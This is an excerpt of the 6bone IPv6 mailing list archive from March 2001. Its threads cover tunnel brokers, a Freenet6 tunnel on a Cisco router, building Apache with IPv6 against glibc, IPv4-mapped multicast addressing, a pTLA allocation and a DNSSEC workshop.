  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:ian@thornlea.net" =
title=3Dian@thornlea.net>ian@thornlea.net</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:6bone@ISI.EDU"=20
  title=3D6bone@ISI.EDU>6Bone Mailing List</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, March 20, 2001 =
4:33=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> looking for a reliable =
ipv6=20
  accessible public web or ftp server</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>I wish to be able to use ftp or http =
to verify=20
  operation of my connection - I can ping6 thnigs no problem but when I =
tried=20
  accessing some of the IPv6 reachable servers listed on the 6bone page =
- I=20
  wasn't able to connect - I am not sure if this is a problem with my=20
  configuration or the server(s) - if anyone knows a reliable IPv6 =
accessible=20
  server I could try please let me know</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>regards</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial =
size=3D2>Ian</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_001C_01C0B1E1.7B6D9130--


From 6bone-owner  Wed Mar 21 09:01:24 2001
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Date: Thu, 22 Mar 2001 03:57:25 +1100
To: vv00@eazier.com
From: Tom Lohdan <wabby@ihug.com.au>
Subject: Re: give me some site pls?
Cc: 6bone@ISI.EDU
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There is a list of the commonly used tunnel brokers on http://hs247.com/

Tom...

At 07:04 PM 21/03/2001 -0600, vv00@eazier.com wrote:
>Could you pls give me some site who provides static tunnel --not shortterm.
>Thank you!


From 6bone-owner  Wed Mar 21 09:41:09 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: <6bone@ISI.EDU>
Subject: Tunnel Broker
Date: Wed, 21 Mar 2001 18:44:02 +0100
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Hi,

Where i can find a tunnel broker server for provide free /64 ?
I have search on yahoo and altavista and i havan't find anu script !

What's software do you use for monitoring IPv6 (stats, and down alert) ?
Except MRTG and NetSaint.

I search many ISP who can build a tunnel with me for route all ISP's pTLA.

How much cost a AS number ?
Can i register a AS number if i'm not a RIPE member ?

Thanks and good IPv6

Nicolas DEFFAYET, SurfNetConneXion
ipmaster@surfnetconnexion.net
ISP: For peering request: peering@surfnetconnexion.com
Our site will be soon online....

From 6bone-owner  Wed Mar 21 12:56:54 2001
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To: NDSoftware <extml@ndsoftware.net>
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Subject: Re: Tunnel Broker
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NDSoftware wrote:
> 
> Hi,
> 
> Where i can find a tunnel broker server for provide free /64 ?
> I have search on yahoo and altavista and i havan't find anu script !
> 

Try going to www.6bone.net and click on "How to join the 6bone"  or
follow one of the "How To's" at www.ipv6.org

Jim
-- 
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From 6bone-owner  Wed Mar 21 13:25:22 2001
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To: "James Housley" <jim@thehousleys.net>
Cc: <6bone@ISI.EDU>
Subject: RE: Tunnel Broker
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No, i search many scripts for create a tunnel broker service and provide to
user free /64 !
Thanks

Nicolas DEFFAYET, NDSoftware
http://www.ndsoftware.net - ndsoftware@ndsoftware.net
France: Tel +33 671887502 - Fax N/A
UK: Tel +44 8453348750 - Fax +44 8453348751
USA: Tel N/A - Fax N/A
---
Note: All HTML email sent to me can be deleted for security reasons.

-----Original Message-----
From: housley@thehousleys.net [mailto:housley@thehousleys.net]On Behalf
Of James Housley
Sent: Wednesday, March 21, 2001 9:57 PM
To: NDSoftware
Cc: 6bone@isi.edu
Subject: Re: Tunnel Broker


NDSoftware wrote:
>
> Hi,
>
> Where i can find a tunnel broker server for provide free /64 ?
> I have search on yahoo and altavista and i havan't find anu script !
>

Try going to www.6bone.net and click on "How to join the 6bone"  or
follow one of the "How To's" at www.ipv6.org

Jim
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From 6bone-owner  Wed Mar 21 16:26:47 2001
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From: vv00@eazier.com
To: dswingle@scoutpro.com
Cc: 6bone@ISI.EDU
Reply-to: <vv00@eazier.com>
Subject: how about freenet6
Date: Thu, 22 Mar 2001 08:53:07 CST
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but i have heard that the freenet6 will discard the tunnel when it can't get ping respond from the router, i can't make my router runing for all day at this time , so i want to connet to a site who will support static tunnel.
 
as for the IOS which support IPV6, a beta version is in need ,u can download it from the CISCO website.

Regards,
vv00

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From 6bone-owner  Wed Mar 21 19:43:27 2001
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From: Antonio Querubin <tony@lava.net>
To: <6bone@ISI.EDU>
Subject: multicast IPv4-mapped IPv6 addressing
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I'm not sure if this has come up for discussion before but is there any
set convention for handling multicast IPv4-mapped IPv6 addresses?  In a
unicast application program originally written for IPv4 a programmer can
easily convert the IPv4 socket calls to IPv6 socket calls and use
IPv4-mapped IPv6 unicast addresses.  The IPv6 API (RFC-2133 or RFC-2553)
specifies that when IPv4-mapped addresses are used, the connection is made
using IPv4.  Unless it's dealing with low-level calls, the program doesn't
need to know whether it's really using IPv4 or IPv6.  It just has access
to an open socket.

For example, let's say I have an application that I want to convert to
using IPv6 sockets and that I normally pass it an IPv4 unicast
name/address on the command line for example.  If this were an IPv4
unicast program, it might typically do a gethostname to obtain the IP
address and then open up a connection.  Converted to using IPv6, the
gethostname() (or getipnodename()) would return an IPv4-mapped address
looking something like ::ffff:192.168.1.1.  The IPv6 socket API handles
this automatically and makes an IPv4 connection.

But when it's a multicast program, the gethostname() will still return an
IPv4-mapped address, however it's not useable.  If for example, I specify
sap.mcast.net (224.2.127.254) on the command line to this multicast
program, when it does the gethostbyname() it gets back
::ffff:224.2.127.254.  But this doesn't appear to be a useable multicast
address.  The socket calls up to where one sets the multicast TTL or joins
the multicast groups work.  But once I try to set the multicast TTL or
join the group, the ::ffff:224.2.127.254 address is rejected as invalid.
The only way I've found to make this work is to create the socket using
IPv4 socket calls only.

Well at least that's how Linux and gcc have been behaving so far for me.
But if this is not system-specific then it seems that the handling of
IPv4-mapped multicast addresses was something left out of either the IPv6
socket API or perhaps an IPv4-mapped multicast address should be defined?
For example, 224.2.127.254 might be mapped to ff0e::ffff:224.2.127.254
instead of ::ffff:224.2.127.254?


From 6bone-owner  Thu Mar 22 01:55:28 2001
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From: Parlindungan SP <parlin_sp@students.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>,
        Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: IPv6 security
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Could you tell me the place or company where i can get some documents
about DNS for TCP/IP in Linux?

Thanks in advance.

parlin

-- 
            ---parl's---

        


From 6bone-owner  Thu Mar 22 02:03:58 2001
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helloo..

Could you tell me the place or company where i can get some documents
about DNS for aplication in IPv4 and IPv6 ? 


Thanks in advance

Parlin

-- 
            ---parl's---

        


From 6bone-owner  Thu Mar 22 04:14:42 2001
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Date: Thu, 22 Mar 2001 23:04:22 +1100
To: <vv00@eazier.com>
From: Tom Lohdan <wabby@ihug.com.au>
Subject: Re: how about freenet6
Cc: 6bone@ISI.EDU
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Last I heard Freenet6 will ping you twice a week, if both pings fail, they 
remove the tunnel.

Personally, Freenet6 is good for a quick setup testing, but not long term. 
They also seem to be down often for one reason or another. Many brokers 
will support static tunnels for non perm connected people, it just depends 
on their policy, some require perm connections, some don't. Check with the 
broker before you apply, or often it is stated in their tunnel requirements.

Tom...

At 08:53 AM 22/03/2001 -0600, vv00@eazier.com wrote:
>but i have heard that the freenet6 will discard the tunnel when it can't 
>get ping respond from the router, i can't make my router runing for all 
>day at this time , so i want to connet to a site who will support static 
>tunnel.
>
>as for the IOS which support IPV6, a beta version is in need ,u can 
>download it from the CISCO website.
>
>Regards,
>vv00
>
>-----------------------------------------------------------------
>»¶Ó­·ÃÎÊ¡¡http://mail.eazier.com


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leave

From 6bone-owner  Thu Mar 22 11:01:37 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103221901.f2MJ1Jh28884@bfib.ipng.nl>
Subject: About non 24/7 tunnelbrokers
To: 6bone@ISI.EDU
Date: Thu, 22 Mar 2001 20:01:19 +0100 (CET)
Cc: pim@ipng.nl
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Dear ipv6 people,

I would like to bring to your attention the following widely
made TunnelBroker problem. 

If you own or administer an IPv6 tunnelbroker that allows
people to disconnect or not stay online 24/7, please ensure
that your tunnelbroker server does not send traffic to the
downstream IP unless you are absolutely sure that your
user is connected to it.

The following situation occurs (in practice, and more times
than most people dare recognise):

1. Your user dials in on some ISP's dialup pool and gets the
   address 212.26.212.123 for example. He then signs up with
   your (dynamic) broker and creates a tunnel. His address
   is, say, 3ffe:8114:1000::11/127.

2. He now logs off and leaves his tunnel 'open'. The next,
   innocent, user dials up and gets 212.26.212.123 from the
   dialup pool at the ISP.

3. Some user on the (IPv6)Internet sends traffic to 
   3ffe:8114:1000::11. Your tunnelbroker will send this 
   traffic to the user at 212.26.212.123, possibly filling
   his dialup link with bogus (unwanted!) traffic.

Of course, many (perhaps even all) tunnelbrokers that have
the dynamic tunnel 'feature' should be made, so that a user
must authenticate itself at the broker before traffic gets
tunneled to an IP, and also he will have to log off of the
server (or be automatically logged off after being idle
or not responding to pings).

The best approach to this is having some client/server 
application, where the user logs on to the tunnelbroker
via telnet, and issues something like this:
USER <local-user>
PASS <hispassword>
TUNNEL TO 212.26.212.123
TUNNEL UP
..
and then the server will send a PING every 60 seconds or
so, to which the client must respond a PONG or else he
will get disconnected and the tunnel will be set to down
state (thus not sending unwanted traffic to the next user
of the IP).

The user, when finished with his business on 6bone, can 
then simply state he is finished by doing some:
TUNNEL DOWN
QUIT

and log off of the tunnelserver.

I'm wondering who of you have thought of this while designing
your local (dynamic) broker and if any of you are willing
to implement it - if it's not already in your software.

Of course, I'd like to hear from any admin that has a
tunnelbroker, or has a need for one. I have implemented
the above schema on tunnelserver.ipng.nl:6660 (no this is
not IRC)

Kind regards, hope to hear from TB-admins,
Pim van Pelt

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Thu Mar 22 12:44:34 2001
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      <200103221901.f2MJ1Jh28884@bfib.ipng.nl>
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Subject: Re: About non 24/7 tunnelbrokers
From: itojun@iijlab.net
Date: Fri, 23 Mar 2001 05:44:00 +0900
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>The best approach to this is having some client/server 
>application, where the user logs on to the tunnelbroker
>via telnet, and issues something like this:
>USER <local-user>
>PASS <hispassword>
>TUNNEL TO 212.26.212.123
>TUNNEL UP
>..
>and then the server will send a PING every 60 seconds or
>so, to which the client must respond a PONG or else he
>will get disconnected and the tunnel will be set to down
>state (thus not sending unwanted traffic to the next user
>of the IP).

	there was a protocol proposal made by Peter Tattam, just like the
	above.  it used APOP for user authentication.  an implmentation 
	is included in KAME distribution under "dtcp" directory.  imasy.or.jp
	has been using this.   not sure where the protocol proposal (internet
	draft) went.  I guess he is too busy.

itojun

From 6bone-owner  Thu Mar 22 15:01:39 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: <6bone@ISI.EDU>
Subject: Apache & IPv6
Date: Fri, 23 Mar 2001 00:04:39 +0100
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Hi,
When i want compile apache 1.3.19 with IPv6 support i have:

===> src/main
gcc -c  -I../os/unix -I../include   -DLINUX=22 -DNEED_GETADDRINFO -DNEED_GET
NAMEINFO -DUSE_HSREGEX -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED
`../apaci` util.c
getaddrinfo.c: In function `getaddrinfo':
In file included from util.c:2322:
getaddrinfo.c:123: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:123: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:124: request for member `ai_protocol' in something not a
structure or union
getaddrinfo.c:130: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:130: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:131: request for member `ai_protocol' in something not a
structure or union
getaddrinfo.c:137: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:137: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:138: request for member `ai_protocol' in something not a
structure or union
getaddrinfo.c:147: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:147: request for member `ai_socktype' in something not a
structure or union
getaddrinfo.c:148: request for member `ai_protocol' in something not a
structure or union
make[3]: *** [util.o] Error 1
make[2]: *** [subdirs] Error 1
make[2]: Leaving directory `/temp6/apache-1.3.19+mod_ssl+IPv6/src'
make[1]: *** [build-std] Error 2
make[1]: Leaving directory `/temp6/apache-1.3.19+mod_ssl+IPv6'
make: *** [build] Error 2

I the README:
This kit assumes that you have working(*) getaddrinfo() and getnameinfo()
library functions.  Even if you don't have one, don't panic.  We have
included last-resort version (which support IPv4 only) into the kit.
For more complete implementation you might want to check BIND 8.2.
(*) NOTE: we have noticed that some of IPv6 stack is shipped with broken
getaddrinfo().  In such cases, you should get and install BIND 8.2.

When compiling this kit onto IPv6, you may need to specify some additional
library paths or cpp defs (like -linet6 or -DINET6).
Now you don't have to specify --enable-rule=INET6.  The "configure" script
will give you some warnings if the IPv6 stack is not known to the
"configure" script.  Currently, the following IPv6 stacks are supported:
- KAME IPv6 stack, http://www.kame.net/
        use configure.v6 for convenience,
- Linux IPv6 stack, http://www.linux.org/
        use configure.v6 for convenience.
- Solaris 8 IPv6 stack, http://www.sun.com/
        use configure.v6 for convenience.
To disable IPv6 support, specify --disable-rule=INET6 to the "configure"
script.

Where i can found the lib getaddrinfo() and getnameinfo() for compile Apache
?

I use RedHat 6.2 with kernel 2.2.18 IPv6.

Thanks for all help.

Nicolas DEFFAYET, SurfNetConneXion
ipmaster@surfnetconnexion.com
SurfNetConneXion International ISP
IPv4 and IPv6
Peering: peering@surfnetconnexion.com


From 6bone-owner  Fri Mar 23 03:58:25 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: "Matti Aarnio" <matti.aarnio@zmailer.org>
Cc: <6bone@ISI.EDU>
Subject: RE: Apache & IPv6
Date: Fri, 23 Mar 2001 13:01:12 +0100
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OK but the last version for RedHat 6.2 is: glibc-2.1.3-22.i386.rpm !!!
Where i can find a package of glibc 2.2(.2) for RedHat 6.2 ?
Can i use glibc of RedHat 7.0 ?
Help me please !
Thanks

Nicolas DEFFAYET, SurfNetConneXion
ipmaster@surfnetconnexion.com

-----Original Message-----
From: Matti Aarnio [mailto:mea@zmailer.org]On Behalf Of Matti Aarnio
Sent: Friday, March 23, 2001 7:32 AM
To: NDSoftware
Cc: 6bone@ISI.EDU
Subject: Re: Apache & IPv6


On Fri, Mar 23, 2001 at 12:04:39AM +0100, NDSoftware wrote:
> Hi,
> When i want compile apache 1.3.19 with IPv6 support i have:
>
> ===> src/main
>
gcc -c  -I../os/unix -I../include   -DLINUX=22 -DNEED_GETADDRINFO -DNEED_GET
> NAMEINFO -DUSE_HSREGEX -DUSE_EXPAT -I../lib/expat-lite -DNO_DL_NEEDED
> `../apaci` util.c
> getaddrinfo.c: In function `getaddrinfo':
> In file included from util.c:2322:
> getaddrinfo.c:123: request for member `ai_socktype' in something not a
structure or union

	This is indicative that  <netdb.h>  header does not have
	'struct addrinfo' defined in it.  (Or that some #define is
	is used to hide the real implementation in case such exists..)

	I think that got added at glibc 2.1, which is what RH 6.2 has.
	Do get lattest update of glibc, including glibc-*-devel!

	Alternatively, your patch-set has its own version of netdb.h,
	which conflicts with things.

	The  Apache 2.0 Alphas (not yet beta) do compile just fine
	at my glibc 2.2(.2) based systems, and bind themselves to ::0/0
	giving service at both (I think) IPv4 and IPv6.
	(Be prepared to fix encountered bugs if you try that.)

	For years I have had native IPv6 support at my ZMailer MTA,
	which used to use its own  "netdb6.h"  include in case the
	system <netdb.h> didn't show (at ./configure  time) to have
	getaddrinfo() capabilities.  These days I can compile the
	beast without using my old support library.
	(E.g. Linux systems since the dawn of IPv6 support until
	 glibc caught up and supplied working functions.)

	I have no idea how carefull backwards support is in that
	patch-set you use.

...
> Where i can found the lib getaddrinfo() and getnameinfo() for compile
Apache?
>
> I use RedHat 6.2 with kernel 2.2.18 IPv6.
> Thanks for all help.
>
> Nicolas DEFFAYET, SurfNetConneXion
> ipmaster@surfnetconnexion.com

/Matti Aarnio <matti.aarnio@zmailer.org>


From 6bone-owner  Fri Mar 23 08:25:43 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103231625.f2NGPM217885@bfib.ipng.nl>
Subject: Re: About non 24/7 tunnelbrokers
To: venaas@alfa.itea.ntnu.no (Stig Venås)
Date: Fri, 23 Mar 2001 17:25:22 +0100 (CET)
Cc: pim@bfib.ipng.nl (Pim van Pelt), 6bone@ISI.EDU, pim@ipng.nl
In-Reply-To: <20010322232740.A31230@itea.ntnu.no> from "Stig Venås" at Mar 22, 2001 11:27:40 PM
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<about a tunnelbroker client/server application>
> 
> One solution I had thought of was to regularly ping the end
> point and shut down the tunnel if there were no replies in a
> while.
> 
I have esthetical objections to this. You are sending potentially
random users proto-41 traffic. Many users I see at Freeler (a 550k
users Dutch ISP where I am IP consultant) run (windows..) protection
agents which complain about unwanted traffic. You can imagine some
of these users sending abuse mail to Freeler that they are being
probed, hacked, etc etc by your tunnelbroker.

> > Of course, I'd like to hear from any admin that has a
> > tunnelbroker, or has a need for one. I have implemented
> > the above schema on tunnelserver.ipng.nl:6660 (no this is
> > not IRC)
> 
> Sounds good, but this requires the user to have a program
> that replies to the PINGs, do you provide that?
Well, someone wrote a perl script that does exactly this. It
logs on, sets the tunnel and plays ping/pong with the server
as long as the connection is up. Before it goes down, one sends
sigHUP to the script, and it gracefully shuts down the tunnel
and logs off. If it doesn't the server will do so after a ping
timeout.

Of course, a C/C++, Perl, TCL or other equivalent are all
equally trivial to write. Mine happens to be perl due to that
user's preference for Perl code: sitc.pl by Wim Vandersmissen.

Perhaps I should make this program portable (currently it uses
some Linux specific code) and release it to the public.

Anyone interrested ? Recapitulating, it's a tunnelbroker with
support of dynamic tunnels which shutdown automatically when
the user is not online. Client and Server both available.

groet,
Pim van Pelt
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Mar 23 08:40:41 2001
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Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: "Parlindungan SP" <parlin_sp@students.ee.itb.ac.id>
Cc: "6BONE List" <6bone@ISI.EDU>
References: <Pine.BSF.4.21.0103221659550.66170-100000@students.ee.itb.ac.id>
Subject: Re: IPv6 security
Date: Fri, 23 Mar 2001 08:40:21 -0800
Organization: Zama Networks, Inc.
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We have a technical document on our web site for getting DNS up and running
over IPv6.  You can find that at www.zamanetworks.com under technical
documents.

Todd Whipple
Zama Networks

----- Original Message -----
From: "Parlindungan SP" <parlin_sp@students.ee.itb.ac.id>
To: <horape@tinuviel.compendium.net.ar>
Cc: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>; "Pekka Savola"
<pekkas@netcore.fi>; <itojun@iijlab.net>; <6bone@ISI.EDU>
Sent: Thursday, March 22, 2001 2:02 AM
Subject: Re: IPv6 security


>
> helloo..
>
> Could you tell me the place or company where i can get some documents
> about DNS for aplication in IPv4 and IPv6 ?
>
>
> Thanks in advance
>
> Parlin
>
> --
>             ---parl's---
>
>
>
>


From 6bone-owner  Fri Mar 23 10:05:19 2001
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Message-ID: <3ABB9048.B2815443@deepnet.cx>
Date: Fri, 23 Mar 2001 13:04:56 -0500
From: Kris Deugau <kdeugau@deepnet.cx>
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To: 6bone@ISI.EDU
CC: NDSoftware <extml@ndsoftware.net>
Subject: Re: Apache & IPv6
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NDSoftware wrote:
> OK but the last version for RedHat 6.2 is: glibc-2.1.3-22.i386.rpm !!!
> Where i can find a package of glibc 2.2(.2) for RedHat 6.2 ?
> Can i use glibc of RedHat 7.0 ?

I looked into an unrelated upgrade some time ago, and glibc-2.2 was one
of the required changes- but changing that broke *everything* else.  If
you have to use glibc-2.2, you'll probably have to bring the whole
system up to RH7.  Most of the core system software relies on shared
libs from glibc.

-kgd
-- 
Money is overrated.

From 6bone-owner  Fri Mar 23 10:08:11 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: <kdeugau@deepnet.cx>
Cc: "Mailing-List 6bone" <6bone@ISI.EDU>
Subject: RE: Apache & IPv6
Date: Fri, 23 Mar 2001 19:11:01 +0100
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OK Thanks.
How i can install Apache IPv6 ?
Help me!!!!

Nicolas DEFFAYET, SurfNetConneXion

-----Original Message-----
From: Kris Deugau [mailto:kdeugau@deepnet.cx]
Sent: Friday, March 23, 2001 7:05 PM
To: 6bone@ISI.EDU
Cc: NDSoftware
Subject: Re: Apache & IPv6


NDSoftware wrote:
> OK but the last version for RedHat 6.2 is: glibc-2.1.3-22.i386.rpm !!!
> Where i can find a package of glibc 2.2(.2) for RedHat 6.2 ?
> Can i use glibc of RedHat 7.0 ?

I looked into an unrelated upgrade some time ago, and glibc-2.2 was one
of the required changes- but changing that broke *everything* else.  If
you have to use glibc-2.2, you'll probably have to bring the whole
system up to RH7.  Most of the core system software relies on shared
libs from glibc.

-kgd
-- 
Money is overrated.


From 6bone-owner  Fri Mar 23 23:36:58 2001
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From: Wojtek Bojdo/l <wojboj@lp.net.pl>
To: Kris Deugau <kdeugau@deepnet.cx>
Cc: 6bone@ISI.EDU
Subject: Re: Apache & IPv6
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On Fri, 23 Mar 2001, Kris Deugau wrote:

> I looked into an unrelated upgrade some time ago, and glibc-2.2 was one
> of the required changes- but changing that broke *everything* else.  If
> you have to use glibc-2.2, you'll probably have to bring the whole
> system up to RH7.  Most of the core system software relies on shared
> libs from glibc.

I've got glibc-2.1.3 and Apache running.
It's www2.ipv6.tychy.net (IPv6-only site) and in /bazar/apache you can get
srces and bin's for apache working on RH6.x with old glibc.
(using IPv6-capable browser ofcourse)

Apache with IPv6 support CAN run on RH6.x! :)
-- 
Wojciech Bojdo/l


From 6bone-owner  Fri Mar 23 23:54:32 2001
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From: vv00@eazier.com
To: 6bone@ISI.EDU
Reply-to: <vv00@eazier.com>
Subject: what's wrong with my tunnel?
Date: Sat, 24 Mar 2001 16:20:36 CST
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I can't ping the end point of tunnel created by freenet6.any advise is welcome!

cisco3640#show running
Building configuration...

Current configuration:
!
version 12.0
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname cisco3640
!
enable secret 5 $1$0za5$yHMSmpQ41/mBH3vGJmyYO.
enable password *
!
!
!
!
!
ip subnet-zero
no ip routing
!
ipv6 unicast-routing
!
!
!
!
!
interface Tunnel0
 no ip address
 no ip directed-broadcast
 ip mtu 1480
 ipv6 enable
 ipv6 address 3FFE:B00:C18:1FFF::497/127
 ipv6 rip t0 enable
 tunnel source FastEthernet1/0
 tunnel destination 206.123.31.102
 tunnel mode ipv6ip
!
interface Tunnel1
 no ip address
 no ip directed-broadcast
!
interface FastEthernet0/0
 no ip address
 no ip directed-broadcast
 no ip route-cache
 no ip mroute-cache
 shutdown
 duplex auto
 speed auto
!
interface FastEthernet1/0
 mac-address 0080.c8f6.9e0f
 ip address *.*.*.* 255.255.255.192
 no ip directed-broadcast
 no ip route-cache
 no ip mroute-cache
 speed auto
 half-duplex
 ipv6 enable
 ipv6 rip t0 enable
!
ip classless
ip route 0.0.0.0 0.0.0.0 my gateway
no ip http server
!
ipv6 route ::/0 Tunnel0
!
line con 0
 transport input none
line aux 0
line vty 0 4
 password ***
 login
!
end


-----------------------------------------------------------------
»¶Ó­·ÃÎÊ¡¡http://mail.eazier.com


From 6bone-owner  Sat Mar 24 02:16:44 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200103241016.f2OAG8611942@bfib.ipng.nl>
Subject: Re: Apache & IPv6
To: extml@ndsoftware.net (NDSoftware)
Date: Sat, 24 Mar 2001 11:16:07 +0100 (CET)
Cc: kdeugau@deepnet.cx, 6bone@ISI.EDU (Mailing-List 6bone)
In-Reply-To: <PEEFLAHPLCHECPIMNLAMOEBOEOAA.extml@ndsoftware.net> from "NDSoftware" at Mar 23, 2001 07:11:01 PM
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Nicolas,

This mailinglist is not a general helpdesk function for the 6bone. You have
had several tips and pointers on how to get Apache running, I will give you
them again. Please follow them now, they are very helpful.

1. Upgrade to the (neede) glibc-2.2. If you do not know how to do this, then
I suggest you don't run a webserver. ftp://ftp.gnu.org/pub/gnu has the source.
2. Change distributions to one that has glibc-2.2. AFAIK Debian and Slackware
are current. http://www.debian.org/ and http://www.slackware.com/
3. Change OS. I can suggest OpenBSD, or FreeBSD if you really need a lot of
userland packages. http://www.openbsd.org/ and http://www.freebsd.org/
4. Let someone else compile your webserver. 

I would appreciate it if you stopped this thread now, it's a bit off topic
in my opinion.

regards, good luck.
Pim
> 
> OK Thanks.
> How i can install Apache IPv6 ?
> Help me!!!!
> 
> Nicolas DEFFAYET, SurfNetConneXion
> 
> -----Original Message-----
> From: Kris Deugau [mailto:kdeugau@deepnet.cx]
> Sent: Friday, March 23, 2001 7:05 PM
> To: 6bone@ISI.EDU
> Cc: NDSoftware
> Subject: Re: Apache & IPv6
> 
> 
> NDSoftware wrote:
> > OK but the last version for RedHat 6.2 is: glibc-2.1.3-22.i386.rpm !!!
> > Where i can find a package of glibc 2.2(.2) for RedHat 6.2 ?
> > Can i use glibc of RedHat 7.0 ?
> 
> I looked into an unrelated upgrade some time ago, and glibc-2.2 was one
> of the required changes- but changing that broke *everything* else.  If
> you have to use glibc-2.2, you'll probably have to bring the whole
> system up to RH7.  Most of the core system software relies on shared
> libs from glibc.
> 
> -kgd
> -- 
> Money is overrated.
> 


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Sun Mar 25 21:00:13 2001
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leave


From 6bone-owner  Mon Mar 26 02:07:03 2001
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From: "yiftachf" <yiftachf@hywire.com>
To: <6bone@ISI.EDU>
Subject: IPV6 routing dumps
Date: Mon, 26 Mar 2001 12:17:21 +0200
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I am trying to find some 6bone router dumps like those 
ipv4 dumps in merit maybe you can help me with sending me a url

thanks Yiftah 

From 6bone-owner  Mon Mar 26 07:01:54 2001
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Subject: Re: IPV6 routing dumps
From: itojun@iijlab.net
Date: Tue, 27 Mar 2001 00:01:33 +0900
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>I am trying to find some 6bone router dumps like those 
>ipv4 dumps in merit maybe you can help me with sending me a url

	www.6tap.net, under "looking glass".  pick "IPv6" from the menu
	and type "route" to the box at the right.

itojun

From 6bone-owner  Mon Mar 26 07:51:38 2001
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Date: Mon, 26 Mar 2001 09:33:47 -0600
From: Luis Diego Espinoza <lespinoz@micit.go.cr>
Reply-To: fondoconcursable@micit.go.cr
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To: 6bone@ISI.EDU
Subject: Real implementation ?
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This is a multi-part message in MIME format.
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We want to implement IPv6 in 100 000 clients, this is new network, at
this level we can decide what protocol we want to use.
What kind of problems we can find on this ?

thank you,
Diego Espinoza

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begin:vcard 
n:Espinoza Sanchez;Luis Diego
tel;cell:+506 397.0947
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adr;quoted-printable:;;1.3 km norte de la Embajada Americana, Pavas=0D=0AEdificio CENAT "Franklin Chang Diaz";Pavas;San Jose;5589-1000;Costa Rica
fn:Luis Diego Espinoza Sanchez
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From 6bone-owner  Mon Mar 26 08:21:38 2001
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Date: Mon, 26 Mar 2001 08:21:08 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8190::/28 allocated to ISDNET
Cc: Bill Manning <bmanning@ISI.EDU>, aversini@isdnet.net
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ISDNET has been allocated pTLA 3FFE:8190::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?isdnet>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Mon Mar 26 09:17:00 2001
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Date: Mon, 26 Mar 2001 12:16:45 -0500 (EST)
From: Matthew Darwin <matthew@davin.ottawa.on.ca>
To: <6bone@ISI.EDU>
Subject: IPv6 and SNMP
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Does anybody have reasonable SNMP support working on any of their IPv6
devices?  I've tried Linux and while I can talk to the SNMP agent, the
MIBs are not all implemented.  (I'm especially looking for the IPv6
interfaces MIB).

If someone has a device or two that I could get the "read" community
string for, so I can test an application I am working on, that would be
great.

Thanks.



From 6bone-owner  Mon Mar 26 09:28:07 2001
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From: Bill Manning <bmanning@ISI.EDU>
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Subject:  Workshop#2 for IPv6 & DNSSEC
To: 6bone@ISI.EDU
Date: Mon, 26 Mar 2001 09:28:01 -0800 (PST)
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% 
% I am sorry for duplicates. 
% 
% Based on the notes from our last workshop (post IETF-49) and some
% discussion at IETF-50, we would like to expand the effort and 
% start planning for the next workshop. We anticipate a two day event
% that brackets IETF-51, with one day before the start of IETF and one
% day after the end of IETF.  Hopefully we can get much of the prep work 
% done online prior to the event and can coordinate with the local 
% host to integrate some of the testing with the conference network.
% 
% Your expression of interest will help gauge the level of onsite 
% effort and so I would appreciate people sending me an expression of their
% desire to attend/participate.
% 
% Signing up: Send me email <bmanning@karoshi.com>
% 
% Cost: USD 0.0
% 
% What to bring/have available: A computer (laptop) capable of running the 
% latest BIND 9 code (see ftp://ftp.isc.org/isc/bind9/), with that code 
% installed.  A working IPv6 stack on the computer(s) that you intend to use.
% 
% As far as external Internet connectivity, we anticipate full IPv6 connectivity.
% 
% Homework will be assigned for those whom have not "trod" this path before.
% Suggestions for homework will be entertained as well as specific testing
% that folks would like to see occur.
% 
% --bill
% 

"When in doubt, Twirl..."  -anon

From 6bone-owner  Mon Mar 26 22:58:33 2001
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Date: Mon, 26 Mar 2001 22:58:15 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
